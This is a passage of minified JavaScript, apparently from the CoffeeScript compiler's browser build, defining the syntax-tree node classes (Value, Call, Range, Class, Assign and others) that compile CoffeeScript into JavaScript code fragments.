l?this.spaced?[].concat(this.joinFragmentArrays(r,\"\\n\\n\"),this.makeCode(\"\\n\")):this.joinFragmentArrays(r,\"\\n\"):(n=r.length?this.joinFragmentArrays(r,\", \"):[this.makeCode(\"void 0\")],r.length>1&&e.level>=T?this.wrapInBraces(n):n)},t.prototype.compileRoot=function(e){var t,n,r,i,s,o,u,a,f,c,h;for(e.indent=e.bare?\"\":X,e.level=k,this.spaced=!0,e.scope=new R(null,this,null,null!=(f=e.referencedVars)?f:[]),c=e.locals||[],i=0,s=c.length;s>i;i++)o=c[i],e.scope.parameter(o);return u=[],e.bare||(a=function(){var e,n,i,s;for(i=this.expressions,s=[],r=e=0,n=i.length;n>e&&(t=i[r],t.unwrap()instanceof l);r=++e)s.push(t);return s}.call(this),h=this.expressions.slice(a.length),this.expressions=a,a.length&&(u=this.compileNode(lt(e,{indent:\"\"})),u.push(this.makeCode(\"\\n\"))),this.expressions=h),n=this.compileWithDeclarations(e),e.bare?n:[].concat(u,this.makeCode(\"(function() {\\n\"),n,this.makeCode(\"\\n}).call(this);\\n\"))},t.prototype.compileWithDeclarations=function(e){var t,n,r,i,s,o,u,a,f,c,h,p,d,v;for(i=[],a=[],f=this.expressions,s=o=0,u=f.length;u>o&&(r=f[s],r=r.unwrap(),r instanceof l||r instanceof L);s=++o);return e=lt(e,{level:k}),s&&(p=this.expressions.splice(s,9e9),c=[this.spaced,!1],v=c[0],this.spaced=c[1],h=[this.compileNode(e),v],i=h[0],this.spaced=h[1],this.expressions=p),a=this.compileNode(e),d=e.scope,d.expressions===this&&(n=e.scope.hasDeclarations(),t=d.hasAssignments,n||t?(s&&i.push(this.makeCode(\"\\n\")),i.push(this.makeCode(this.tab+\"var \")),n&&i.push(this.makeCode(d.declaredVariables().join(\", \"))),t&&(n&&i.push(this.makeCode(\",\\n\"+(this.tab+X))),i.push(this.makeCode(d.assignedVariables().join(\",\\n\"+(this.tab+X))))),i.push(this.makeCode(\";\\n\"+(this.spaced?\"\\n\":\"\")))):i.length&&a.length&&i.push(this.makeCode(\"\\n\"))),i.concat(a)},t.wrap=function(e){return 1===e.length&&e[0]instanceof t?e[0]:new t(e)},t}(i),e.Literal=L=function(e){function t(e){this.value=e}return wt(t,e),t.prototype.makeReturn=function(){return this.isStatement()?this:t.__super__.makeReturn.apply(this,arguments)},t.prototype.isAssignable=function(){return m.test(this.value)},t.prototype.isStatement=function(){var e;return\"break\"===(e=this.value)||\"continue\"===e||\"debugger\"===e},t.prototype.isComplex=O,t.prototype.assigns=function(e){return e===this.value},t.prototype.jumps=function(e){return\"break\"!==this.value||(null!=e?e.loop:void 0)||(null!=e?e.block:void 0)?\"continue\"!==this.value||(null!=e?e.loop:void 0)?void 0:this:this},t.prototype.compileNode=function(e){var t,n,r;return n=\"this\"===this.value?(null!=(r=e.scope.method)?r.bound:void 0)?e.scope.method.context:this.value:this.value.reserved?'\"'+this.value+'\"':this.value,t=this.isStatement()?\"\"+this.tab+n+\";\":n,[this.makeCode(t)]},t.prototype.toString=function(){return' \"'+this.value+'\"'},t}(i),e.Undefined=function(e){function t(){return t.__super__.constructor.apply(this,arguments)}return wt(t,e),t.prototype.isAssignable=O,t.prototype.isComplex=O,t.prototype.compileNode=function(e){return[this.makeCode(e.level>=S?\"(void 0)\":\"void 0\")]},t}(i),e.Null=function(e){function t(){return t.__super__.constructor.apply(this,arguments)}return wt(t,e),t.prototype.isAssignable=O,t.prototype.isComplex=O,t.prototype.compileNode=function(){return[this.makeCode(\"null\")]},t}(i),e.Bool=function(e){function t(e){this.val=e}return wt(t,e),t.prototype.isAssignable=O,t.prototype.isComplex=O,t.prototype.compileNode=function(){return[this.makeCode(this.val)]},t}(i),e.Return=F=function(e){function t(e){this.expression=e}return wt(t,e),t.prototype.children=[\"expression\"],t.prototype.isStatement=Y,t.prototype.makeReturn=V,t.prototype.jumps=V,t.prototype.compileToFragments=function(e,n){var r,i;return r=null!=(i=this.expression)?i.makeReturn():void 0,!r||r instanceof t?t.__super__.compileToFragments.call(this,e,n):r.compileToFragments(e,n)},t.prototype.compileNode=function(e){var t,n,r;return t=[],n=null!=(r=this.expression)?\"function\"==typeof r.isYieldReturn?r.isYieldReturn():void 0:void 0,n||t.push(this.makeCode(this.tab+(\"return\"+(this.expression?\" \":\"\")))),this.expression&&(t=t.concat(this.expression.compileToFragments(e,C))),n||t.push(this.makeCode(\";\")),t},t}(i),e.Value=Q=function(e){function t(e,n,r){return!n&&e instanceof t?e:(this.base=e,this.properties=n||[],r&&(this[r]=!0),this)}return wt(t,e),t.prototype.children=[\"base\",\"properties\"],t.prototype.add=function(e){return this.properties=this.properties.concat(e),this},t.prototype.hasProperties=function(){return!!this.properties.length},t.prototype.bareLiteral=function(e){return!this.properties.length&&this.base instanceof e},t.prototype.isArray=function(){return this.bareLiteral(n)},t.prototype.isRange=function(){return this.bareLiteral(j)},t.prototype.isComplex=function(){return this.hasProperties()||this.base.isComplex()},t.prototype.isAssignable=function(){return this.hasProperties()||this.base.isAssignable()},t.prototype.isSimpleNumber=function(){return this.bareLiteral(L)&&I.test(this.base.value)},t.prototype.isString=function(){return this.bareLiteral(L)&&y.test(this.base.value)},t.prototype.isRegex=function(){return this.bareLiteral(L)&&g.test(this.base.value)},t.prototype.isAtomic=function(){var e,t,n,r;for(r=this.properties.concat(this.base),e=0,t=r.length;t>e;e++)if(n=r[e],n.soak||n instanceof o)return!1;return!0},t.prototype.isNotCallable=function(){return this.isSimpleNumber()||this.isString()||this.isRegex()||this.isArray()||this.isRange()||this.isSplice()||this.isObject()},t.prototype.isStatement=function(e){return!this.properties.length&&this.base.isStatement(e)},t.prototype.assigns=function(e){return!this.properties.length&&this.base.assigns(e)},t.prototype.jumps=function(e){return!this.properties.length&&this.base.jumps(e)},t.prototype.isObject=function(e){return this.properties.length?!1:this.base instanceof _&&(!e||this.base.generated)},t.prototype.isSplice=function(){var e,t;return t=this.properties,e=t[t.length-1],e instanceof U},t.prototype.looksStatic=function(e){var t;return this.base.value===e&&1===this.properties.length&&\"prototype\"!==(null!=(t=this.properties[0].name)?t.value:void 0)},t.prototype.unwrap=function(){return this.properties.length?this:this.base},t.prototype.cacheReference=function(e){var n,i,s,o,u;return u=this.properties,s=u[u.length-1],2>this.properties.length&&!this.base.isComplex()&&(null!=s?!s.isComplex():!void 0)?[this,this]:(n=new t(this.base,this.properties.slice(0,-1)),n.isComplex()&&(i=new L(e.scope.freeVariable(\"base\")),n=new t(new H(new r(i,n)))),s?(s.isComplex()&&(o=new L(e.scope.freeVariable(\"name\")),s=new E(new r(o,s.index)),o=new E(o)),[n.add(s),new t(i||n.base,[o||s])]):[n,i])},t.prototype.compileNode=function(e){var t,n,r,i,s;for(this.base.front=this.front,s=this.properties,t=this.base.compileToFragments(e,s.length?S:null),(this.base instanceof H||s.length)&&I.test(st(t))&&t.push(this.makeCode(\".\")),n=0,r=s.length;r>n;n++)i=s[n],t.push.apply(t,i.compileToFragments(e));return t},t.prototype.unfoldSoak=function(e){return null!=this.unfoldedSoak?this.unfoldedSoak:this.unfoldedSoak=function(n){return function(){var i,s,o,u,a,f,l,h,p,d;if(o=n.base.unfoldSoak(e))return(h=o.body.properties).push.apply(h,n.properties),o;for(p=n.properties,s=u=0,a=p.length;a>u;s=++u)if(f=p[s],f.soak)return f.soak=!1,i=new t(n.base,n.properties.slice(0,s)),d=new t(n.base,n.properties.slice(s)),i.isComplex()&&(l=new L(e.scope.freeVariable(\"ref\")),i=new H(new r(l,i)),d.base=l),new b(new c(i),d,{soak:!0});return!1}}(this)()},t}(i),e.Comment=l=function(e){function t(e){this.comment=e}return wt(t,e),t.prototype.isStatement=Y,t.prototype.makeReturn=V,t.prototype.compileNode=function(e,t){var n,r;return r=this.comment.replace(/^(\\s*)#(?=\\s)/gm,\"$1 *\"),n=\"/*\"+ct(r,this.tab)+(St.call(r,\"\\n\")>=0?\"\\n\"+this.tab:\"\")+\" */\",(t||e.level)===k&&(n=e.indent+n),[this.makeCode(\"\\n\"),this.makeCode(n)]},t}(i),e.Call=o=function(e){function n(e,t,n){this.args=null!=t?t:[],this.soak=n,this.isNew=!1,this.isSuper=\"super\"===e,this.variable=this.isSuper?null:e,e instanceof Q&&e.isNotCallable()&&e.error(\"literal is not a function\")}return wt(n,e),n.prototype.children=[\"variable\",\"args\"],n.prototype.newInstance=function(){var e,t;return e=(null!=(t=this.variable)?t.base:void 0)||this.variable,e instanceof n&&!e.isNew?e.newInstance():this.isNew=!0,this},n.prototype.superReference=function(e){var n,i,s,o,u,a,f,l;return u=e.scope.namedMethod(),(null!=u?u.klass:void 0)?(o=u.klass,a=u.name,l=u.variable,o.isComplex()&&(s=new L(e.scope.parent.freeVariable(\"base\")),i=new Q(new H(new r(s,o))),l.base=i,l.properties.splice(0,o.properties.length)),(a.isComplex()||a instanceof E&&a.index.isAssignable())&&(f=new L(e.scope.parent.freeVariable(\"name\")),a=new E(new r(f,a.index)),l.properties.pop(),l.properties.push(a)),n=[new t(new L(\"__super__\"))],u[\"static\"]&&n.push(new t(new L(\"constructor\"))),n.push(null!=f?new E(f):a),(new Q(null!=s?s:o,n)).compile(e)):(null!=u?u.ctor:void 0)?u.name+\".__super__.constructor\":this.error(\"cannot call super outside of an instance method.\")},n.prototype.superThis=function(e){var t;return t=e.scope.method,t&&!t.klass&&t.context||\"this\"},n.prototype.unfoldSoak=function(e){var t,r,i,s,o,u,a,f,l;if(this.soak){if(this.variable){if(r=yt(e,this,\"variable\"))return r;a=(new Q(this.variable)).cacheReference(e),s=a[0],l=a[1]}else s=new L(this.superReference(e)),l=new Q(s);return l=new n(l,this.args),l.isNew=this.isNew,s=new L(\"typeof \"+s.compile(e)+' === \"function\"'),new b(s,new Q(l),{soak:!0})}for(t=this,u=[];;)if(t.variable instanceof n)u.push(t),t=t.variable;else{if(!(t.variable instanceof Q))break;if(u.push(t),!((t=t.variable.base)instanceof n))break}for(f=u.reverse(),i=0,o=f.length;o>i;i++)t=f[i],r&&(t.variable instanceof n?t.variable=r:t.variable.base=r),r=yt(e,t,\"variable\");return r},n.prototype.compileNode=function(e){var t,n,r,i,s,o,u,a,f,l;if(null!=(f=this.variable)&&(f.front=this.front),i=z.compileSplattedArray(e,this.args,!0),i.length)return this.compileSplat(e,i);for(r=[],l=this.args,n=o=0,u=l.length;u>o;n=++o)t=l[n],n&&r.push(this.makeCode(\", \")),r.push.apply(r,t.compileToFragments(e,T));return s=[],this.isSuper?(a=this.superReference(e)+(\".call(\"+this.superThis(e)),r.length&&(a+=\", \"),s.push(this.makeCode(a))):(this.isNew&&s.push(this.makeCode(\"new \")),s.push.apply(s,this.variable.compileToFragments(e,S)),s.push(this.makeCode(\"(\"))),s.push.apply(s,r),s.push(this.makeCode(\")\")),s},n.prototype.compileSplat=function(e,t){var n,r,i,s,o,u;return this.isSuper?[].concat(this.makeCode(this.superReference(e)+\".apply(\"+this.superThis(e)+\", \"),t,this.makeCode(\")\")):this.isNew?(s=this.tab+X,[].concat(this.makeCode(\"(function(func, args, ctor) {\\n\"+s+\"ctor.prototype = func.prototype;\\n\"+s+\"var child = new ctor, result = func.apply(child, args);\\n\"+s+\"return Object(result) === result ? result : child;\\n\"+this.tab+\"})(\"),this.variable.compileToFragments(e,T),this.makeCode(\", \"),t,this.makeCode(\", function(){})\"))):(n=[],r=new Q(this.variable),(o=r.properties.pop())&&r.isComplex()?(u=e.scope.freeVariable(\"ref\"),n=n.concat(this.makeCode(\"(\"+u+\" = \"),r.compileToFragments(e,T),this.makeCode(\")\"),o.compileToFragments(e))):(i=r.compileToFragments(e,S),I.test(st(i))&&(i=this.wrapInBraces(i)),o?(u=st(i),i.push.apply(i,o.compileToFragments(e))):u=\"null\",n=n.concat(i)),n=n.concat(this.makeCode(\".apply(\"+u+\", \"),t,this.makeCode(\")\")))},n}(i),e.Extends=p=function(e){function t(e,t){this.child=e,this.parent=t}return wt(t,e),t.prototype.children=[\"child\",\"parent\"],t.prototype.compileToFragments=function(e){return(new o(new Q(new L(bt(\"extend\",e))),[this.child,this.parent])).compileToFragments(e)},t}(i),e.Access=t=function(e){function t(e,t){this.name=e,this.name.asKey=!0,this.soak=\"soak\"===t}return wt(t,e),t.prototype.children=[\"name\"],t.prototype.compileToFragments=function(e){var t;return t=this.name.compileToFragments(e),m.test(st(t))?t.unshift(this.makeCode(\".\")):(t.unshift(this.makeCode(\"[\")),t.push(this.makeCode(\"]\"))),t},t.prototype.isComplex=O,t}(i),e.Index=E=function(e){function t(e){this.index=e}return wt(t,e),t.prototype.children=[\"index\"],t.prototype.compileToFragments=function(e){return[].concat(this.makeCode(\"[\"),this.index.compileToFragments(e,C),this.makeCode(\"]\"))},t.prototype.isComplex=function(){return this.index.isComplex()},t}(i),e.Range=j=function(e){function t(e,t,n){this.from=e,this.to=t,this.exclusive=\"exclusive\"===n,this.equals=this.exclusive?\"\":\"=\"}return wt(t,e),t.prototype.children=[\"from\",\"to\"],t.prototype.compileVariables=function(e){var t,n,r,i,s,o;return e=lt(e,{top:!0}),t=tt(e,\"isComplex\"),n=this.cacheToCodeFragments(this.from.cache(e,T,t)),this.fromC=n[0],this.fromVar=n[1],r=this.cacheToCodeFragments(this.to.cache(e,T,t)),this.toC=r[0],this.toVar=r[1],(o=tt(e,\"step\"))&&(i=this.cacheToCodeFragments(o.cache(e,T,t)),this.step=i[0],this.stepVar=i[1]),s=[this.fromVar.match(M),this.toVar.match(M)],this.fromNum=s[0],this.toNum=s[1],this.stepVar?this.stepNum=this.stepVar.match(M):void 0},t.prototype.compileNode=function(e){var t,n,r,i,s,o,u,a,f,l,c,h,p,d;return this.fromVar||this.compileVariables(e),e.index?(u=this.fromNum&&this.toNum,s=tt(e,\"index\"),o=tt(e,\"name\"),f=o&&o!==s,d=s+\" = \"+this.fromC,this.toC!==this.toVar&&(d+=\", \"+this.toC),this.step!==this.stepVar&&(d+=\", \"+this.step),l=[s+\" <\"+this.equals,s+\" >\"+this.equals],a=l[0],i=l[1],n=this.stepNum?ht(this.stepNum[0])>0?a+\" \"+this.toVar:i+\" \"+this.toVar:u?(c=[ht(this.fromNum[0]),ht(this.toNum[0])],r=c[0],p=c[1],c,p>=r?a+\" \"+p:i+\" \"+p):(t=this.stepVar?this.stepVar+\" > 0\":this.fromVar+\" <= \"+this.toVar,t+\" ? \"+a+\" \"+this.toVar+\" : \"+i+\" \"+this.toVar),h=this.stepVar?s+\" += \"+this.stepVar:u?f?p>=r?\"++\"+s:\"--\"+s:p>=r?s+\"++\":s+\"--\":f?t+\" ? ++\"+s+\" : --\"+s:t+\" ? \"+s+\"++ : \"+s+\"--\",f&&(d=o+\" = \"+d),f&&(h=o+\" = \"+h),[this.makeCode(d+\"; \"+n+\"; \"+h)]):this.compileArray(e)},t.prototype.compileArray=function(e){var t,n,r,i,s,o,u,a,f,l,c,h,p;return this.fromNum&&this.toNum&&20>=Math.abs(this.fromNum-this.toNum)?(f=function(){h=[];for(var e=l=+this.fromNum,t=+this.toNum;t>=l?t>=e:e>=t;t>=l?e++:e--)h.push(e);return h}.apply(this),this.exclusive&&f.pop(),[this.makeCode(\"[\"+f.join(\", \")+\"]\")]):(o=this.tab+X,s=e.scope.freeVariable(\"i\",{single:!0}),c=e.scope.freeVariable(\"results\"),a=\"\\n\"+o+c+\" = [];\",this.fromNum&&this.toNum?(e.index=s,n=st(this.compileNode(e))):(p=s+\" = \"+this.fromC+(this.toC!==this.toVar?\", \"+this.toC:\"\"),r=this.fromVar+\" <= \"+this.toVar,n=\"var \"+p+\"; \"+r+\" ? \"+s+\" <\"+this.equals+\" \"+this.toVar+\" : \"+s+\" >\"+this.equals+\" \"+this.toVar+\"; \"+r+\" ? \"+s+\"++ : \"+s+\"--\"),u=\"{ \"+c+\".push(\"+s+\"); }\\n\"+o+\"return \"+c+\";\\n\"+e.indent,i=function(e){return null!=e?e.contains(ut):void 0},(i(this.from)||i(this.to))&&(t=\", arguments\"),[this.makeCode(\"(function() {\"+a+\"\\n\"+o+\"for (\"+n+\")\"+u+\"}).apply(this\"+(null!=t?t:\"\")+\")\")])},t}(i),e.Slice=U=function(e){function t(e){this.range=e,t.__super__.constructor.call(this)}return wt(t,e),t.prototype.children=[\"range\"],t.prototype.compileNode=function(e){var t,n,r,i,s,o,u;return s=this.range,o=s.to,r=s.from,i=r&&r.compileToFragments(e,C)||[this.makeCode(\"0\")],o&&(t=o.compileToFragments(e,C),n=st(t),(this.range.exclusive||-1!==+n)&&(u=\", \"+(this.range.exclusive?n:I.test(n)?\"\"+(+n+1):(t=o.compileToFragments(e,S),\"+\"+st(t)+\" + 1 || 9e9\")))),[this.makeCode(\".slice(\"+st(i)+(u||\"\")+\")\")]},t}(i),e.Obj=_=function(e){function n(e,t){this.generated=null!=t?t:!1,this.objects=this.properties=e||[]}return wt(n,e),n.prototype.children=[\"properties\"],n.prototype.compileNode=function(e){var n,i,s,o,u,a,f,c,h,p,d,v,m,g,y,b,w,E,S,x,T;if(S=this.properties,this.generated)for(f=0,m=S.length;m>f;f++)b=S[f],b instanceof Q&&b.error(\"cannot have an implicit value in an implicit object\");for(i=h=0,g=S.length;g>h&&(E=S[i],!((E.variable||E).base instanceof H));i=++h);for(s=S.length>i,u=e.indent+=X,v=this.lastNonComment(this.properties),n=[],s&&(w=e.scope.freeVariable(\"obj\"),n.push(this.makeCode(\"(\\n\"+u+w+\" = \"))),n.push(this.makeCode(\"{\"+(0===S.length||0===i?\"}\":\"\\n\"))),o=d=0,y=S.length;y>d;o=++d)E=S[o],o===i&&(0!==o&&n.push(this.makeCode(\"\\n\"+u+\"}\")),n.push(this.makeCode(\",\\n\"))),c=o===S.length-1||o===i-1?\"\":E===v||E instanceof l?\"\\n\":\",\\n\",a=E instanceof l?\"\":u,s&&i>o&&(a+=X),E instanceof r&&E.variable instanceof Q&&E.variable.hasProperties()&&E.variable.error(\"invalid object key\"),E instanceof Q&&E[\"this\"]&&(E=new r(E.properties[0].name,E,\"object\")),E instanceof l||(i>o?(E instanceof r||(E=new r(E,E,\"object\")),(E.variable.base||E.variable).asKey=!0):(E instanceof r?(p=E.variable,T=E.value):(x=E.base.cache(e),p=x[0],T=x[1]),E=new r(new Q(new L(w),[new t(p)]),T))),a&&n.push(this.makeCode(a)),n.push.apply(n,E.compileToFragments(e,k)),c&&n.push(this.makeCode(c));return s?n.push(this.makeCode(\",\\n\"+u+w+\"\\n\"+this.tab+\")\")):0!==S.length&&n.push(this.makeCode(\"\\n\"+this.tab+\"}\")),this.front&&!s?this.wrapInBraces(n):n},n.prototype.assigns=function(e){var t,n,r,i;for(i=this.properties,t=0,n=i.length;n>t;t++)if(r=i[t],r.assigns(e))return!0;return!1},n}(i),e.Arr=n=function(e){function t(e){this.objects=e||[]}return wt(t,e),t.prototype.children=[\"objects\"],t.prototype.compileNode=function(e){var t,n,r,i,s,o,u;if(!this.objects.length)return[this.makeCode(\"[]\")];if(e.indent+=X,t=z.compileSplattedArray(e,this.objects),t.length)return t;for(t=[],n=function(){var t,n,r,i;for(r=this.objects,i=[],t=0,n=r.length;n>t;t++)u=r[t],i.push(u.compileToFragments(e,T));return i}.call(this),i=s=0,o=n.length;o>s;i=++s)r=n[i],i&&t.push(this.makeCode(\", \")),t.push.apply(t,r);return st(t).indexOf(\"\\n\")>=0?(t.unshift(this.makeCode(\"[\\n\"+e.indent)),t.push(this.makeCode(\"\\n\"+this.tab+\"]\"))):(t.unshift(this.makeCode(\"[\")),t.push(this.makeCode(\"]\"))),t},t.prototype.assigns=function(e){var t,n,r,i;for(i=this.objects,t=0,n=i.length;n>t;t++)if(r=i[t],r.assigns(e))return!0;return!1},t}(i),e.Class=u=function(e){function n(e,t,n){this.variable=e,this.parent=t,this.body=null!=n?n:new s,this.boundFuncs=[],this.body.classBody=!0}return wt(n,e),n.prototype.children=[\"variable\",\"parent\",\"body\"],n.prototype.determineName=function(){var e,n,r;return this.variable?(n=this.variable.properties,r=n[n.length-1],e=r?r instanceof t&&r.name.value:this.variable.base.value,St.call(q,e)>=0&&this.variable.error(\"class variable name may not be \"+e),e&&(e=m.test(e)&&e)):null},n.prototype.setContext=function(e){return this.body.traverseChildren(!1,function(t){return t.classBody?!1:t instanceof L&&\"this\"===t.value?t.value=e:t instanceof a&&t.bound?t.context=e:void 0})},n.prototype.addBoundFunctions=function(e){var n,r,i,s,o;for(o=this.boundFuncs,r=0,i=o.length;i>r;r++)n=o[r],s=(new Q(new L(\"this\"),[new t(n)])).compile(e),this.ctor.body.unshift(new L(s+\" = \"+bt(\"bind\",e)+\"(\"+s+\", this)\"))},n.prototype.addProperties=function(e,n,i){var s,o,u,f,l,c;return c=e.base.properties.slice(0),f=function(){var e;for(e=[];o=c.shift();)o instanceof r&&(u=o.variable.base,delete o.context,l=o.value,\"constructor\"===u.value?(this.ctor&&o.error(\"cannot define more than one constructor in a class\"),l.bound&&o.error(\"cannot define a constructor as a bound function\"),l instanceof a?o=this.ctor=l:(this.externalCtor=i.classScope.freeVariable(\"class\"),o=new r(new L(this.externalCtor),l))):o.variable[\"this\"]?l[\"static\"]=!0:(s=u.isComplex()?new E(u):new t(u),o.variable=new Q(new L(n),[new t(new L(\"prototype\")),s]),l instanceof a&&l.bound&&(this.boundFuncs.push(u),l.bound=!1))),e.push(o);return e}.call(this),et(f)},n.prototype.walkBody=function(e,t){return this.traverseChildren(!1,function(i){return function(o){var u,a,f,l,c,h,p;if(u=!0,o instanceof n)return!1;if(o instanceof s){for(p=a=o.expressions,f=l=0,c=p.length;c>l;f=++l)h=p[f],h instanceof r&&h.variable.looksStatic(e)?h.value[\"static\"]=!0:h instanceof Q&&h.isObject(!0)&&(u=!1,a[f]=i.addProperties(h,e,t));o.expressions=a=it(a)}return u&&!(o instanceof n)}}(this))},n.prototype.hoistDirectivePrologue=function(){var e,t,n;for(t=0,e=this.body.expressions;(n=e[t])&&n instanceof l||n instanceof Q&&n.isString();)++t;return this.directives=e.splice(0,t)},n.prototype.ensureConstructor=function(e){return this.ctor||(this.ctor=new a,this.externalCtor?this.ctor.body.push(new L(this.externalCtor+\".apply(this, arguments)\")):this.parent&&this.ctor.body.push(new L(e+\".__super__.constructor.apply(this, arguments)\")),this.ctor.body.makeReturn(),this.body.expressions.unshift(this.ctor)),this.ctor.ctor=this.ctor.name=e,this.ctor.klass=null,this.ctor.noReturn=!0},n.prototype.compileNode=function(e){var t,n,i,u,f,l,c,h,d;return(u=this.body.jumps())&&u.error(\"Class bodies cannot contain pure statements\"),(n=this.body.contains(ut))&&n.error(\"Class bodies shouldn't reference arguments\"),c=this.determineName()||\"_Class\",c.reserved&&(c=\"_\"+c),l=new L(c),i=new a([],s.wrap([this.body])),t=[],e.classScope=i.makeScope(e.scope),this.hoistDirectivePrologue(),this.setContext(c),this.walkBody(c,e),this.ensureConstructor(c),this.addBoundFunctions(e),this.body.spaced=!0,this.body.expressions.push(l),this.parent&&(d=new L(e.classScope.freeVariable(\"superClass\",{reserve:!1})),this.body.expressions.unshift(new p(l,d)),i.params.push(new P(d)),t.push(this.parent)),(h=this.body.expressions).unshift.apply(h,this.directives),f=new H(new o(i,t)),this.variable&&(f=new r(this.variable,f)),f.compileToFragments(e)},n}(i),e.Assign=r=function(e){function n(e,t,n,r){var i,s,o;this.variable=e,this.value=t,this.context=n,this.param=r&&r.param,this.subpattern=r&&r.subpattern,o=s=this.variable.unwrapAll().value,i=St.call(q,o)>=0,i&&\"object\"!==this.context&&this.variable.error('variable name may not be \"'+s+'\"')}return wt(n,e),n.prototype.children=[\"variable\",\"value\"],n.prototype.isStatement=function(e){return(null!=e?e.level:void 0)===k&&null!=this.context&&St.call(this.context,\"?\")>=0},n.prototype.assigns=function(e){return this[\"object\"===this.context?\"value\":\"variable\"].assigns(e)},n.prototype.unfoldSoak=function(e){return yt(e,this,\"variable\")},n.prototype.compileNode=function(e){var t,n,r,i,s,o,u,f,l,c,h,p,d,v;if(r=this.variable instanceof Q){if(this.variable.isArray()||this.variable.isObject())return this.compilePatternMatch(e);if(this.variable.isSplice())return this.compileSplice(e);if(\"||=\"===(f=this.context)||\"&&=\"===f||\"?=\"===f)return this.compileConditional(e);if(\"**=\"===(l=this.context)||\"//=\"===l||\"%%=\"===l)return this.compileSpecialMath(e)}return this.value instanceof a&&(this.value[\"static\"]?(this.value.klass=this.variable.base,this.value.name=this.variable.properties[0],this.value.variable=this.variable):(null!=(c=this.variable.properties)?c.length:void 0)>=2&&(h=this.variable.properties,o=h.length>=3?xt.call(h,0,i=h.length-2):(i=0,[]),u=h[i++],s=h[i++],\"prototype\"===(null!=(p=u.name)?p.value:void 0)&&(this.value.klass=new Q(this.variable.base,o),this.value.name=s,this.value.variable=this.variable))),this.context||(v=this.variable.unwrapAll(),v.isAssignable()||this.variable.error('\"'+this.variable.compile(e)+'\" cannot be assigned'),(\"function\"==typeof v.hasProperties?v.hasProperties():void 0)||(this.param?e.scope.add(v.value,\"var\"):e.scope.find(v.value))),d=this.value.compileToFragments(e,T),n=this.variable.compileToFragments(e,T),\"object\"===this.context?n.concat(this.makeCode(\": \"),d):(t=n.concat(this.makeCode(\" \"+(this.context||\"=\")+\" \"),d),T>=e.level?t:this.wrapInBraces(t))},n.prototype.compilePatternMatch=function(e){var r,i,s,o,u,a,f,l,c,p,d,v,g,y,b,w,S,x,C,A,O,M,_,D,P,j,F,I;if(D=e.level===k,j=this.value,y=this.variable.base.objects,!(b=y.length))return s=j.compileToFragments(e),e.level>=N?this.wrapInBraces(s):s;if(l=this.variable.isObject(),!D||1!==b||(g=y[0])instanceof z){for(F=j.compileToFragments(e,T),I=st(F),i=[],o=!1,(!m.test(I)||this.variable.assigns(I))&&(i.push([this.makeCode((w=e.scope.freeVariable(\"ref\"))+\" = \")].concat(xt.call(F))),F=[this.makeCode(w)],I=w),a=p=0,d=y.length;d>p;a=++p){if(g=y[a],f=a,l&&(g instanceof n?(A=g,O=A.variable,f=O.base,g=A.value):g.base instanceof H?(M=(new Q(g.unwrapAll())).cacheReference(e),g=M[0],f=M[1]):f=g[\"this\"]?g.properties[0].name:g),!o&&g instanceof z)v=g.name.unwrap().value,g=g.unwrap(),P=b+\" <= \"+I+\".length ? \"+bt(\"slice\",e)+\".call(\"+I+\", \"+a,(_=b-a-1)?(c=e.scope.freeVariable(\"i\",{single:!0}),P+=\", \"+c+\" = \"+I+\".length - \"+_+\") : (\"+c+\" = \"+a+\", [])\"):P+=\") : []\",P=new L(P),o=c+\"++\";else{if(!o&&g instanceof h){(_=b-a-1)&&(1===_?o=I+\".length - 1\":(c=e.scope.freeVariable(\"i\",{single:!0}),P=new L(c+\" = \"+I+\".length - \"+_),o=c+\"++\",i.push(P.compileToFragments(e,T))));continue}v=g.unwrap().value,(g instanceof z||g instanceof h)&&g.error(\"multiple splats/expansions are disallowed in an assignment\"),\"number\"==typeof f?(f=new L(o||f),r=!1):r=l&&m.test(f.unwrap().value||0),P=new Q(new L(I),[new(r?t:E)(f)])}null!=v&&St.call(B,v)>=0&&g.error(\"assignment to a reserved word: \"+g.compile(e)),i.push((new n(g,P,null,{param:this.param,subpattern:!0})).compileToFragments(e,T))}return D||this.subpattern||i.push(F),u=this.joinFragmentArrays(i,\", \"),T>e.level?u:this.wrapInBraces(u)}return g instanceof n?(S=g,x=S.variable,f=x.base,g=S.value):f=l?g[\"this\"]?g.properties[0].name:g:new L(0),r=m.test(f.unwrap().value||0),j=new Q(j),j.properties.push(new(r?t:E)(f)),C=g.unwrap().value,St.call(B,C)>=0&&g.error(\"assignment to a reserved word: \"+g.compile(e)),(new n(g,j,null,{param:this.param})).compileToFragments(e,k)},n.prototype.compileConditional=function(e){var t,r,i,s;return i=this.variable.cacheReference(e),r=i[0],s=i[1],!r.properties.length&&r.base instanceof L&&\"this\"!==r.base.value&&!e.scope.check(r.base.value)&&this.variable.error('the variable \"'+r.base.value+\"\\\" can't be assigned with \"+this.context+\" because it has not been declared before\"),St.call(this.context,\"?\")>=0?(e.isExistentialEquals=!0,(new b(new c(r),s,{type:\"if\"})).addElse(new n(s,this.value,\"=\")).compileToFragments(e)):(t=(new D(this.context.slice(0,-1),r,new n(s,this.value,\"=\"))).compileToFragments(e),T>=e.level?t:this.wrapInBraces(t))},n.prototype.compileSpecialMath=function(e){var t,r,i;return r=this.variable.cacheReference(e),t=r[0],i=r[1],(new n(t,new D(this.context.slice(0,-1),i,this.value))).compileToFragments(e)},n.prototype.compileSplice=function(e){var t,n,r,i,s,o,u,a,f,l,c,h;return u=this.variable.properties.pop().range,r=u.from,l=u.to,n=u.exclusive,o=this.variable.compile(e),r?(a=this.cacheToCodeFragments(r.cache(e,N)),i=a[0],s=a[1]):i=s=\"0\",l?r instanceof Q&&r.isSimpleNumber()&&l instanceof Q&&l.isSimpleNumber()?(l=l.compile(e)-s,n||(l+=1)):(l=l.compile(e,S)+\" - \"+s,n||(l+=\" + 1\")):l=\"9e9\",f=this.value.cache(e,T),c=f[0],h=f[1],t=[].concat(this.makeCode(\"[].splice.apply(\"+o+\", [\"+i+\", \"+l+\"].concat(\"),c,this.makeCode(\")), \"),h),e.level>k?this.wrapInBraces(t):t},n}(i),e.Code=a=function(e){function t(e,t,n){this.params=e||[],this.body=t||new s,this.bound=\"boundfunc\"===n,this.isGenerator=!!this.body.contains(function(e){var t;return e instanceof D&&(\"yield\"===(t=e.operator)||\"yield*\"===t)})}return wt(t,e),t.prototype.children=[\"params\",\"body\"],t.prototype.isStatement=function(){return!!this.ctor},t.prototype.jumps=O,t.prototype.makeScope=function(e){return new R(e,this.body,this)},t.prototype.compileNode=function(e){var 